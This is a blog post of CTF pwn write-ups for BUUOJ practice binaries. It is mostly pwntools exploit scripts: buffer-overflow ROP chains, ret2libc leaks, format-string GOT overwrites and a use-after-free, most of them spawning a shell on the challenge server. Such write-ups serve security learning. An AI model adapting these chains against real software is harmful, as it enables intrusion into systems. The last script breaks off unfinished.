pwn

Buuoj冲分过程(指俯冲)その1

一些PWN

Posted by kayoch1n's blog on August 26, 2020

正文

  • Requirements
    • python
      • ropgadget
      • pwntools
      • LibcSearcher
    • file xxx
      • arch, stripped?
    • checksec
  • System call
    • x86:
      • system call via interrupt: int 80, ebx, ecx, edx, esi, edi, ebp with eax filled with system call number
    • x86_64 with rax filled with system call number
      • user call: rdi, rsi, rdx, rcx, r8, r9
      • system call: rdi, rsi, rdx, r10, r8, r9
  • Format string vulnerability
  • UAF: use-after-free vulnerability

Problems

One-line solution

  • test_your_nc: perl -e 'print "ls\ncat flag\n"' | test_your_nc
    • ida system(“/bin/sh”);
  • warmup_csaw_2016: perl -e 'print "A"x72 . "\x0d\x06\x40\x00\x00\x00\x00\x00\n"' | ./warmup_csaw_2016
  • pwn1_sctf_2016: perl -e 'print "I"x20 . "\xef\xbe\xad\xde\x0d\x8f\x04\x08\n"' | ./pwn1
  • ciscn_2019_n_1: perl -e 'print "A"x(0x30-4) . "\x00\x80\x34\x41\n"' | ./ciscn_2019_n_1
  • others_shellcode: "/bin/////sh" works fine
  • [BJDCTF 2nd]test:
    • Flaw: incomplete filters and privilege escalation using shell(x86_64)

ROP

ciscn_2019_c_1

传送门

[OGeek2019]babyrop

Flaw: strncmp(a, b, 0) always returns 0

#!/usr/bin/python3.6
from pwn import *

elf = ELF('./babyrop')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

log.info(f'puts: got={hex(puts_got)}; plt={hex(puts_plt)}')

proc = process('./babyrop')
# proc = remote('node3.buuoj.cn', 26351)
main = 0x08048825

# strncmp(payload_length, a, strlen(payload_length)) always returns 0
payload_length = [0] * 0x20
# read() is misled to take an input of length 0xff
payload_length[7] = 0xff
payload_length = bytes(payload_length)

proc.send(payload_length)
log.info(proc.recvuntil('\n'))

payload_leak = b'i' * (0xe7 + 4) + p32(puts_plt) + p32(main) + p32(puts_got)
proc.send(payload_leak)

puts_libc = u32(proc.recvuntil(b'\n', drop=True))
log.info(f'libc: puts={hex(puts_libc)}')

from LibcSearcher import LibcSearcher

searcher = LibcSearcher('puts', puts_libc)

base_libc = puts_libc - searcher.dump('puts')
log.info(f"libc: base={hex(base_libc)}")

system_libc = base_libc + searcher.dump('system')
binsh_libc = base_libc + searcher.dump('str_bin_sh')
log.info(f'libc: system={hex(system_libc)}; /bin/sh={hex(binsh_libc)}')

proc.send(payload_length)
log.info(proc.recvuntil('\n'))

payload_shell = b'i' * (0xe7 + 4) + p32(system_libc) + p32(main) + p32(binsh_libc)
proc.send(payload_shell)

proc.interactive()

ciscn_2019_en_2

The same as ciscn_2019_c_1

get_started_3dsctf_2016

#!/usr/bin/python3.6
from pwn import *

elf = ELF("./get_started_3dsctf_2016")
proc = process("./get_started_3dsctf_2016")
# proc = remote("node3.buuoj.cn", 29563)

# c gets
log.info(f"get_flag={hex(elf.sym['get_flag'])}")
# segfault
# payload = b'i'*0x38 + p32(elf.sym['get_flag']) + p32(elf.sym['main']) +  p32(0x308CD64F) + p32(0x195719D1)

# Peaceful exit
payload = b'i'*0x38 + \
  p32(elf.sym['get_flag']) + \
  p32(0x0806fc09) + \
  p32(0x308CD64F) + p32(0x195719D1) + \
  p32(elf.sym['exit']) + p32(0xdeadbeef) + p32(0)

proc.sendline(payload)

log.info(proc.recvall())

[第五空间2019 决赛]PWN5

Flaw: format string vulnerability

#!/usr/bin/python3.6
from pwn import *

elf = ELF("./5space_pwn5")
proc = process("./5space_pwn5")
# proc = remote("node3.buuoj.cn", 25409)

dest = 0x0804C044
payload = b'%x' * 10 + b'%f%f%f%n' + p32(dest)

log.info(proc.recvuntil("your name:"))

proc.sendline(payload)
output = proc.recvuntil(b'your passwd:', drop=True)

output = output.replace(b'Hello,', b'')
log.info(f'output={output};len={len(output)}')
end = output.find(p32(dest))
output = output[:end]
log.success(f'len={len(output)}')

proc.sendline(bytes(f'{len(output)}', encoding='ascii'))
# log.success(proc.recvuntil())
proc.interactive()

jarvisoj_level0

x86_64 ROP

#!/usr/bin/python3.6
from pwn import *

elf = ELF("./jarvisoj_level0")
# proc = process("./jarvisoj_level0")
proc = remote("node3.buuoj.cn", 26872)

# ROPgadget --binary jarvisoj_level0 --only 'pop|ret'
pop_rdi_ret = 0x0000000000400663
# ROPgadget --binary jarvisoj_level0 --string '/bin/sh'
bin_sh_addr = 0x0000000000400684
system_plt = elf.sym['system']

payload = b'i' * 0x88 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_plt)

proc.sendline(payload)
proc.interactive()

[BJDCTF 2nd]r2t3

Flaw: truncated string length: uint8_t length = (uint8_t) strlen(input)

#!/usr/bin/python3.6
from pwn import *

exec_path = './r2t3'
elf = ELF(exec_path)
# proc = process(exec_path)
proc = remote("node3.buuoj.cn", 28147)

system_plt = elf.sym['system']
main_sym = elf.sym['main']
exit_sym = elf.sym['exit']
# ROPgadget --binary r2t3 --string '/bin/sh'
bin_sh_addr = 0x08048760
# ROPgadget --binary r2t3 --only 'pop|ret'
pop_ret_addr = 0x080483d5

log.info(f'system@plt={hex(system_plt)}; /bin/sh={hex(bin_sh_addr)}')
log.info(f'main={hex(main_sym)}; exit={hex(exit_sym)}')

payload = b'i' * (0x11+0x4) + p32(system_plt) + p32(main_sym) + p32(bin_sh_addr) # + p32(exit_sym) + p32(exit_sym) + p32()
# uint8_t length = (uint8_t) strlen(input);
trailing = b'kayoch1n'
payload += b'i' * (0x105 - len(trailing) - len(payload)) + trailing + b'\x00'
log.info(f'len of payload={hex(len(payload))}')

proc.recvuntil(b'Please input your name:')
proc.sendline(payload)
proc.interactive()

ciscn_2019_n_8

#!/usr/bin/python3.6
from pwn import *

exec_path = './ciscn_2019_n_8'
elf = ELF(exec_path)
# proc = process(exec_path)
proc = remote("node3.buuoj.cn", 27348)
proc.recvuntil(b"What's your name?")
payload = b'i' * 0x34 + b"\x11"
proc.sendline(payload)
proc.interactive()

not_the_same_3dsctf_2016

  1. x86 ROP,
  2. or mprotect(.bss), read and shellcode TODO
#!/usr/bin/python3.6
from pwn import *

exec_path = './not_the_same_3dsctf_2016'
elf = ELF(exec_path)
# proc = process(exec_path)
proc = remote("node3.buuoj.cn", 28179)


get_secret = elf.sym['get_secret']
log.info(f'get_secret={hex(get_secret)}')

printf = elf.sym['printf']
log.info(f'printf={hex(printf)}')

exit_ = elf.sym['exit']
log.info(f'exit={hex(exit_)}')

array_addr = 0x080ECA2D
pop_ret = 0x080481ad
payload = b'i' * 0x2d + p32(get_secret) + p32(printf) + p32(pop_ret) + p32(array_addr) + p32(exit_) + p32(0)

proc.sendline(payload)
log.info(f'output={proc.recv(numb=128)}')

[HarekazeCTF2019]baby_rop

x86_64 ROP

#!/usr/bin/python3.6
from pwn import *

filename = './baby_rop'

elf = ELF(filename)
proc = process(filename)
# proc = remote('node3.buuoj.cn', 25573)

ret_function = elf.sym['main']
log.info(f'main={hex(ret_function)}')

system_plt = elf.plt['system']
log.info(f'system={hex(system_plt)}')

# ROPgadget --binary baby_rop --string '/bin/sh'
bin_sh_addr = 0x0000000000601048

# ROPgadget --binary baby_rop --only 'pop|ret'
pop_rdi_ret = 0x0000000000400683
ret = 0x0000000000400479
# Ubuntu 18
payload = b'i' * (0x10 + 8) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_plt) + p64(ret_function)

proc.recvuntil(b"What's your name?")
proc.sendline(payload)
# proc.recvuntil(b'\n')
proc.interactive()

[BJDCTF 2nd]one_gadget

Utility one_gadget

#!/usr/bin/python3.6
from pwn import *

filename = './one_gadget'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
proc = process(filename)
# one_gadget -f /lib/x86_64-linux-gnu/libc.so.6
one_gadget_off = 0x45216

proc.recvuntil(b'here is the gift for u:')
printf_addr = int(proc.recvuntil(b'\n'), 16)
log.info(f'printf libc={hex(printf_addr)}')

base_addr = printf_addr - libc.sym['printf']
log.info(f'libc base={hex(base_addr)}')
log.info(f'execve("/bin/sh")={hex(one_gadget_off + base_addr)}')

proc.recvuntil(b'Give me your one gadget:')
proc.sendline(str(one_gadget_off + base_addr).encode())

proc.interactive()

bjdctf_2020_babystack

x86_64 ROP

#!/usr/bin/python3.6
from pwn import *

filename = './bjdctf_2020_babystack'
elf = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 27571)

log.info(f'backdoor={hex(elf.sym["backdoor"])}')

payload = b'a' * (0x10+8) + p64(elf.sym["backdoor"])

p.recvuntil(b'Please input the length of your name:')
p.sendline(str(len(payload)))

p.recvuntil(b"What's u name?")
p.sendline(payload)

p.interactive()

ciscn_2019_n_5

  1. libc
  2. x86_64 ROP
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './ciscn_2019_n_5'
elf = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 27624)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

# ROPgadget --binary ciscn_2019_n_5 --only 'pop|ret'
pop_rdi_ret = 0x0000000000400713
ret = 0x00000000004004c9

def do_main(payload):
    p.sendline('kke')
    p.recvuntil(b'What do you want to say to me?\n')
    p.sendline(payload)

# Leak puts()
do_main(b'a' * (0x20+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main))

c_func_addr = u64(p.recv().ljust(8, b'\x00'))
log.info(f'puts={hex(c_func_addr)}')

searcher = LibcSearcher(func='puts', address=c_func_addr)
base_addr = c_func_addr - searcher.dump('puts')
system_addr = base_addr + searcher.dump('system')
bin_sh_addr = base_addr + searcher.dump('str_bin_sh')

log.info(f'base={hex(base_addr)}; system={hex(system_addr)}; /bin/sh={hex(bin_sh_addr)}')

do_main(b'a' * (0x20+8) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret) + p64(system_addr) + p64(main))

p.interactive()

ciscn_2019_s_3

  1. Construct "/bin/sh" on stack,
  2. Return to __libc_csu_init(),
  3. or sigreturn()
#!/usr/bin/python3.6
from pwn import *


filename = './ciscn_2019_s_3'
elf = ELF(filename)
p = process(filename)
# p = remote("node3.buuoj.cn", 26355)

main = elf.sym["main"]
log.warn(f'main={hex(main)}')

payload = b'/bin/sh\x00' + b'b'*8 + p64(elf.sym['vuln'])

p.send(payload)
offset = 0x118
binsh = u64(p.recv()[32:40]) - 0x118
log.success('binsh = ' + hex(binsh))

# Pop to rbx, rbp, r12, r13, r14, r15
p6r = 0x000000000040059A
mov_r12_call = 0x0000000000400580

mov_exec_ret = 0x00000000004004e2 
sys_call = 0x0000000000400517
pop_rdi_ret = 0x00000000004005a3

# 1
# 直接传递字符串是不 ok 的,因为 rdi 的高32位被强制截断为 0;
# 0x0000000000400586 <+70>:    mov    %r15d,%edi
# (gdb) i r rdi
# rdi            0x7ffebe3175b0   140732089333168
# (gdb) ni
# 0x0000000000400589 in __libc_csu_init ()
# (gdb) i r rdi
# rdi            0xbe3175b0       3190912432

# 2
# 在 call r12 之后想要通过gadget去补救也是不 OK 的,因为call 指令 push 了一个地址,程序无法执行后面的 gadget
# 

payload = b'/bin/sh\x00' + p64(mov_exec_ret)\
    + p64(p6r)\
    + p64(0) + p64(1)\
    + p64(binsh + 8)\
    + p64(0) * 2\
    + p64(binsh)\
    + p64(mov_r12_call)\
    + p64(0) * 7\
    + p64(pop_rdi_ret)\
    + p64(binsh)\
    + p64(sys_call)

p.send(payload)
p.interactive()

[HarekazeCTF2019]babyrop2

  1. Caution: address of printf() ends with "\x00" and outputs nothing
  2. Construct "/bin/sh" and ROP chain in .bss segment
  3. x86_64 ROP
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher


filename = './HarekazeCTF2019_baby_rop2'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 29984)

#    0x0000000000400689 <+83>:    lea    -0x20(%rbp),%rax
#    0x000000000040068d <+87>:    mov    $0x100,%edx
#    0x0000000000400692 <+92>:    mov    %rax,%rsi
#    0x0000000000400695 <+95>:    mov    $0x0,%edi
#    0x000000000040069a <+100>:   callq  0x400500 <read@plt>
# buffer size=0x20, max length of input=0x100
ra_offset = 0x20 + 0x8

# ROPgadget --binary HarekazeCTF2019_baby_rop2 --only 'pop|ret'
pop_rdi_ret = 0x0000000000400733
main = e.sym['main']
# TODO HINT 1:
# https://h-noson.hatenablog.jp/entry/2019/05/19/232401#Baby-ROP-2-200-pts-81-solves
# Leaked address of "printf" ends with '\x00' and process outputs NOTHING
printf_plt, read_got = e.plt['printf'], e.got['read']
# log.level = 'DEBUG'
log.debug(f'read:got={hex(read_got)}, printf:plt={hex(printf_plt)}; main={hex(main)}')
p.recvuntil(b'What')
payload_leak = b'1' * ra_offset + p64(pop_rdi_ret) + p64(read_got) + p64(printf_plt) + p64(main)

p.sendline(payload_leak)
log.level = 'DEBUG'
misc = p.recvuntil(b'\n')
log.debug(f'misc={misc}, len={len(misc)}')

# Outputs contain the string from next run
read_addr = u64(p.recvuntil(b'What')[:-len(b'What')].ljust(8, b'\x00'))
assert read_addr
log.success(f'address of "read()": {hex(read_addr)}')

searcher = LibcSearcher()
searcher.add_condition('read', read_addr)
base_addr = read_addr - searcher.dump('read')
system_addr = searcher.dump('system') + base_addr
bin_sh_addr = searcher.dump('str_bin_sh') + base_addr
log.success(f'base={hex(base_addr)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')

payload = b'2' * ra_offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)

p.sendline(payload)
p.interactive()

# find . -name '*flag*'
# cat ./home/babyrop2/flag

pwn2_sctf_2016

  1. Flaw: only check if length<=0x20
  2. x86 ROP
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher


filename = './pwn2_sctf_2016'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 28911)

vuln = e.sym['vuln']
printf_plt, printf_got = e.plt['printf'], e.got['printf']
log.info(f'printf:plt={hex(printf_plt)}, got={hex(printf_got)}, vuln={hex(vuln)}')

# TODO HINT: Only NUM <= 0x20 is allowed; use a negative integer instead
#   0x0804855a <+43>:    call   0x80483c0 <atoi@plt>
#   0x0804855f <+48>:    mov    %eax,-0xc(%ebp)
#   0x08048562 <+51>:    cmpl   $0x20,-0xc(%ebp)
#   0x08048566 <+55>:    jle    0x804857d <vuln+78>
p.sendline(b'-1')

ra_offset = 0x2c + 4
payload_leak = b'0' * ra_offset + p32(printf_plt) + p32(vuln) + p32(printf_got)
p.sendline(payload_leak)

p.recvuntil(b'You said: ')
content = p.recvline()
log.debug(f'content={content}')

print_addr = u32(p.recv(4).ljust(4, b'\x00'))
log.success(f'print addr={hex(print_addr)}')

searcher = LibcSearcher()
searcher.add_condition('printf', print_addr)
base_addr = print_addr - searcher.dump('printf')
system_addr = base_addr + searcher.dump('system')
bin_sh_addr = base_addr + searcher.dump('str_bin_sh')
log.success(f'base={hex(base_addr)}, system={hex(system_addr)}, /bin/sh={bin_sh_addr}')

p.sendline(b'-1')
payload = b'1' * ra_offset + p32(system_addr) + p32(vuln) + p32(bin_sh_addr)
p.sendline(payload)
p.interactive()

[铁人三项(第五赛区)] 2018_rop

x86 ROP

#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher


filename = './2018_rop'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 27189)

vuln = e.sym['vulnerable_function']
write_plt, start_got = e.plt['write'], e.got['__libc_start_main']
log.info(f'write:plt={hex(write_plt)}, __libc_start_main:got={hex(start_got)}')

ra_offset = 0x88 + 4 
payload_leak = b'1' * ra_offset + p32(write_plt) + p32(vuln) + p32(1) + p32(start_got) + p32(4)

p.sendline(payload_leak)

start_addr = u32(p.recv(numb=4).ljust(4, b'\x00'))
log.success(f'start:{hex(start_addr)}')

searcher = LibcSearcher()
searcher.add_condition('__libc_start_main', start_addr)
base_addr = start_addr - searcher.dump('__libc_start_main')
system_addr = base_addr + searcher.dump('system')
bin_sh_addr = base_addr + searcher.dump('str_bin_sh')

log.info(f'base={hex(base_addr)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')
payload = b'2' * ra_offset + p32(system_addr) + p32(vuln) + p32(bin_sh_addr)
p.sendline(payload)
p.interactive()

bjdctf_2020_babyrop

x86_64 ROP

#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher


filename = './bjdctf_2020_babyrop'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 28912)

log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

vuln = e.sym['vuln']
puts_plt, c_func_got = e.plt['puts'], e.got['__libc_start_main']
log.info(f'put:plt={hex(puts_plt)}, __libc_start_main:got={hex(c_func_got)}')

ra_offset = 0x20 + 8
# ROPgadget --binary bjdctf_2020_babyrop --only 'pop|ret'
pop_rdi_ret = 0x0000000000400733 
payload_leak = b'1' * ra_offset + p64(pop_rdi_ret) + p64(c_func_got) + p64(puts_plt) + p64(vuln)

p.recvuntil(b'story!\n')
p.sendline(payload_leak)

start_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f'put:{hex(start_addr)}')

searcher = LibcSearcher()
searcher.add_condition('__libc_start_main', start_addr)
base_addr = start_addr - searcher.dump('__libc_start_main')
system_addr = base_addr + searcher.dump('system')
bin_sh_addr = base_addr + searcher.dump('str_bin_sh')

log.info(f'base={hex(base_addr)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')
payload = b'2' * ra_offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

  1. Flaw: strcmp terminates at "\x00"
  2. x86 ROP
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher


filename = './ez_pz_hackover_2016'
e = ELF(filename)
p = process(filename)
# p = remote("node3.buuoj.cn", 26524)

log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

chall = e.sym['chall']
printf_plt, c_func_got = e.plt['printf'], e.got['__libc_start_main']
log.info(f'put:plt={hex(printf_plt)}, __libc_start_main:got={hex(c_func_got)}')

# TODO HINT: -0x32(%ebp) => 0x32+4 is a false offset
# breakpoint at *vuln(buffer, 0x400)+0:
#   memory starting from the address of the first argument is copied to destination
#   offset of ra = 0x32+4 = buffer - (ebp+8) + 8 + x
ra_offset = 0x12
pivot = b'crashme\x00'
payload_leak = pivot + b'a'*ra_offset + p32(printf_plt) + p32(chall) + p32(c_func_got)

content = p.recvuntil(b'>')
log.debug(content)

p.sendline(payload_leak)
p.recvuntil(b'crashme!\n')
c_func_addr = u32(p.recv(4))
log.success(f'__libc_start_main={hex(c_func_addr)}')

searcher = LibcSearcher()
searcher.add_condition('__libc_start_main', c_func_addr)
base_addr = c_func_addr - searcher.dump('__libc_start_main')
system_addr = base_addr + searcher.dump('system')
bin_sh_addr = base_addr + searcher.dump('str_bin_sh')

log.info(f'base={hex(base_addr)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')
payload = pivot + b'a'*ra_offset + p32(system_addr) + p32(chall) + p32(bin_sh_addr)
p.sendline(payload)
p.interactive()

jarvisoj_level2_x64

x86_64 ROP

#!/usr/bin/python3.6
from pwn import *


filename = './jarvisoj_level2_x64'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 27641)

log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

# ROPgadget --binary jarvisoj_level2_x64 --string '/bin/sh'
bin_sh_addr = 0x0000000000600a90
# ROPgadget --binary jarvisoj_level2_x64 --only 'pop|ret'
pop_rdi_ret = 0x00000000004006b3
call_system = 0x000000000040063e

ra_offset = 0x80+8
payload = b'0'*ra_offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(call_system)
p.sendline(payload)
p.interactive()

ciscn_2019_ne_5

  1. system("sh") also works…
  2. scanf() ignores '\x0b'
  3. x86 ROP
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './ciscn_2019_ne_5'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 26125)

log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

# TODO HINT
# GetFlag: strcpy
# AddLog: scanf truncate "\x0b"
# Print: system("echo Printing")

ret_main = e.sym['main']
output_plt, c_func_got = e.plt['printf'], e.got['__libc_start_main']
log.info(f'printf:plt={hex(output_plt)}, __libc_start_main:got={hex(c_func_got)}')

def Auth():
    p.recvuntil(b'password:')
    p.sendline(b'administrator')

def AddLog(content):
    p.recvuntil(b'Input your operation:')
    p.recvuntil(':')
    p.sendline(b'1')
    p.recvuntil(b'Please input new log info:')
    p.sendline(content)

def GetFlag():
    p.recvuntil(b'Input your operation:')
    p.recvuntil(b':')
    p.sendline(b'4')
    p.recvuntil(b'The flag is your log:')

def Display():
    p.recvuntil(b'Input your operation:')
    p.recvuntil(b':')
    p.sendline(b'2')

ra_offset = 0x48+4

Auth()
AddLog(b'0' * ra_offset + p32(output_plt) + p32(ret_main) + p32(c_func_got))
Display()
GetFlag()

p.recvuntil(b'\n')

c_func_addr = u32(p.recv(4))
log.success(f'__libc_start_main:{hex(c_func_addr)}')

searcher = LibcSearcher()
searcher.add_condition('__libc_start_main', c_func_addr)
base_addr = c_func_addr - searcher.dump('__libc_start_main')
system_addr = base_addr + searcher.dump('system')
bin_sh_addr = base_addr + searcher.dump('str_bin_sh')
log.info(f'base={hex(base_addr)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')

Auth()

AddLog(b'1' * ra_offset + p32(system_addr) + p32(ret_main) + p32(bin_sh_addr + len('/bin/')))
GetFlag()

p.interactive()

ciscn_2019_es_2

  1. frame faking on buffer
  2. x86 ROP
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './ciscn_2019_es_2'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 27104)

log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

p.recvuntil(b"\n")

ra_offset = 0x28
leaked_offset = 0x50
call_system = 0x08048559
leave_ret = 0x080485fd
payload_leak_mem = b'0'*0x20


p.sendline(payload_leak_mem)
p.recvuntil(payload_leak_mem)
leaked_addr = u32(p.recv(6*4)[-4:])
buffer_addr = leaked_addr - leaked_offset
log.success(f'leaked={hex(leaked_addr)}, buffer={hex(buffer_addr)}')

# TODO HINT
# Frame faking
pivot = b'sh\x00'
payload = p32(buffer_addr) + p32(call_system) + p32(buffer_addr+0xc) + pivot + b'1'*(ra_offset - len(pivot) - 0xc) + p32(buffer_addr) + p32(leave_ret)
# payload = p32(leave_ret) + p32(call_system) + p32(buffer_addr+0xc) + pivot + b'1'*(ra_offset - len(pivot) - 0xc) + p32(buffer_addr) + p32(leave_ret)
p.sendline(payload)
p.interactive()

spwn

  1. Frame faking
  2. x86 ROP
  3. write instead of puts
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './spwn'
e = ELF(filename)
p = process(filename)
# p = remote("node3.buuoj.cn", 27104)

log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

def say(name, content):
    p.sendlineafter(b'name?', name)
    p.sendafter(b'to say?', content)

# TODO HINT:
# vul_function() leads to an ill-formed frame after __libc_start_main is leaked
ret_function = e.sym['main']
# TODO HINT:
# puts() can not be used here to leak GOT address. 
# Because it increases the top of stack greatly to reach a READ ONLY segment resulting in SIGSEGV
output_plt, c_func_got = e.plt['write'], e.got['__libc_start_main']
leave_ret = 0x08048511
ebp_offset = 0x18
global_buf = 0x804a300

payload_leave_ret = b'0'*ebp_offset + p32(global_buf) + p32(leave_ret)
say(p32(global_buf) + p32(output_plt) + p32(ret_function) + p32(1) + p32(c_func_got) + p32(4), payload_leave_ret)
c_func_addr = u32(p.recv(4))
log.success(f'__libc_start_main={hex(c_func_addr)}')

searcher = LibcSearcher(func='__libc_start_main', address=c_func_addr)
base_addr = c_func_addr - searcher.dump('__libc_start_main')
system_addr = base_addr + searcher.dump('system')
bin_sh_addr = base_addr + searcher.dump('str_bin_sh')
log.info(f'base={hex(base_addr)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')


say(p32(global_buf) + p32(system_addr) + p32(ret_function) + p32(bin_sh_addr), payload_leave_ret)
p.interactive()

jarvisoj_level3

  1. x86 ROP
#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './jarvisoj_level3'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 26246)

log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

ret_function = e.sym['main']
write_plt, c_func_got = e.plt['write'], e.got['__libc_start_main']
log.info(f'put:plt={hex(write_plt)}, __libc_start_main:got={hex(c_func_got)}')

ebp_offset = 0x88
p.sendlineafter(b'Input:\n', b'0'*(ebp_offset+4) + p32(write_plt) + p32(ret_function) + p32(1) + p32(c_func_got) + p32(4))
c_func_addr = u32(p.recv(4))
log.success(f'__libc_start_main={hex(c_func_addr)}')

searcher = LibcSearcher()
searcher.add_condition('__libc_start_main', c_func_addr)
base_addr = c_func_addr - searcher.dump('__libc_start_main')
system_addr = base_addr + searcher.dump('system')
bin_sh_addr = base_addr + searcher.dump('str_bin_sh')
log.info(f'base={hex(base_addr)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')
 
p.sendlineafter(b'Input:\n', b'1'*(ebp_offset + 4) + p32(system_addr) + p32(ret_function) + p32(bin_sh_addr))
p.interactive()

r2t4

  1. Flaw: format string vulnerability
#!/usr/bin/python3.6
import re
from pwn import *

filename = './r2t4'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 27872)

# log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

target_sym, dest_got = e.sym['backdoor'], e.got['__stack_chk_fail']
log.info(f'backdoor={hex(target_sym)}, __stack_chk_fail:got={hex(dest_got)}')

payload = b"%c%c%c%c" 
assert len(payload) % 8 == 0
payload += b"%c%1553X" 
assert len(payload) % 8 == 0
payload += b'%x%x' + b"%hn " + p64(dest_got)
assert len(payload) % 8 == 0
payload += b"\x44" * (0x30 - len(payload))
assert len(payload) % 8 == 0

p.sendline(payload)

content = p.recvall()
m = re.search(b'flag{.*}', content)
log.success(m.group())

jarvisoj_fm

1.Flaw: format string vulnerability

#!/usr/bin/python3.6
import re
from pwn import *

filename = './fm'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 25936)

payload = b"%llx%llx" #
payload += b"%llx%llx" #
payload += b"%llx%llx" # 

payload += b'%llx' #
payload += b'%llx' #
payload += b'%0104llx' #
payload += b'%llx' #
payload += b'%llx' #
payload += b'%llx' #
payload += b'%hhn' #
payload += p32(0x804a02c)

log.info(f'len={hex(len(payload))}')
# input()
p.sendline(payload)
p.interactive()

ydsneedgirlfriend2

  1. Flaw: UAF
#!/usr/bin/python3.6
import re
from pwn import *

filename = './ydsneedgirlfriend2'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 29074)

backdoor = e.sym['backdoor']

# 第一次申请的大小没关系
p.sendlineafter(b'u choice :\n', b'1')
p.sendlineafter(b'Please input the length of her name:\n', b'25')
p.sendlineafter(b'Please tell me her name:\n', b'maki')

# 此时先后释放掉一个字符数组以及结构体,其中:
# 1. 结构体指针数组没有置为空;因为程序的逻辑,第二次申请的时候不会为结构体申请内存
# 2. 结构体的长度为16;第二次申请长度为16的字符数组,就会申请到这个结构体的内存
p.sendlineafter(b'u choice :\n', b'2')
p.sendlineafter(b'Index :', b'0')

# 第二次一定要申请16字节
p.sendlineafter(b'u choice :\n', b'1')
p.sendlineafter(b'Please input the length of her name:\n', b'16')
p.sendlineafter(b'Please tell me her name:\n', p64(0xdeadbeef) + p64(backdoor))

p.sendlineafter(b'u choice :\n', b'3')
p.sendlineafter(b'Index :', b'0')
p.interactive()

guestbook

x86_64 ROP. 不知道为啥perl命令没有输出。。。perl -e 'print "0"x0x88 . "\x20\x06\x40\x00\x00\x00\x00\x00\n"' | nc node3.buuoj.cn 28935 抓包没发现有什么不同的地方,猜想可能是因为perl结束的太快了:在perl输出结束之后管道就关闭了,打出EOF,在远程返回之前就结束了。

#!/usr/bin/python3.6
import re
from pwn import *

filename = './guestbook'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 28935)

backdoor = e.sym['good_game']
p.sendlineafter(b'message:\n', b'0' * 0x88 + p64(backdoor))
content = p.recvall()
content = content.split(b'\n', 1)[1]
log.success(content)

jarvisoj_level4

x86_64 ROP

#!/usr/bin/python3.6
import re
from pwn import *
from LibcSearcher import LibcSearcher

filename = './jarvisoj_level4'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 25276)


log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

ret_function = e.sym['main']
write_plt, c_func_got = e.plt['write'], e.got['__libc_start_main']
log.info(f'write:plt={hex(write_plt)}, __libc_start_main:got={hex(c_func_got)}')

ebp_offset = 0x88
p.sendline(b'0'*(ebp_offset+4) + p32(write_plt) + p32(ret_function) + p32(1) + p32(c_func_got) + p32(4))
c_func_addr = u32(p.recv(4))
log.success(f'__libc_start_main={hex(c_func_addr)}')

searcher = LibcSearcher()
searcher.add_condition('__libc_start_main', c_func_addr)
base_addr = c_func_addr - searcher.dump('__libc_start_main')
system_addr = base_addr + searcher.dump('system')
bin_sh_addr = base_addr + searcher.dump('str_bin_sh')
